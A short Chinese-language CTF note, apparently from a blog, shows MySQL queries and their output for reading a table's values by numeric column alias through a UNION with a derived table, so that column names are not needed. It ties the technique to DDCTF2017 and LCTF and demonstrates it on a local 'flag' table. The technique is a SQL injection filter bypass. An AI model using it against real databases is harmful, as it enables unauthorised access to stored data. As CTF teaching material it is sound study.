这是一个非常神奇的东西,在做LCTF中大牛提及的DDCTF2017中的一个题目,废话不多少,直接放出来效果及其利用语句
mysql> select * from (select 1)a,(select 2)b,(select 3)c;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.14 sec)
mysql> select * from (select 1)a,(select 2)b,(select 3)c union select * from flag;
+------+-------+------------------------+
| 1 | 2 | 3 |
+------+-------+------------------------+
| 1 | 2 | 3 |
| 1 | admin | flag{flag_is_here} |
| 2 | guest | flag{flag_is_not_here} |
| 3 | fuzz | flag{admin_is_not_me} |
+------+-------+------------------------+
4 rows in set (0.00 sec)
mysql> select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from flag)e;
+------------------------+
| 3 |
+------------------------+
| 3 |
| flag{flag_is_here} |
| flag{flag_is_not_here} |
| flag{admin_is_not_me} |
+------------------------+
4 rows in set (0.00 sec)
我们就可以注意到,这个时候就巧妙的将列名给绕过了!我们只需要知道表名即可
是一个之前不知道的特性,具体请看LCTF中的题目吧。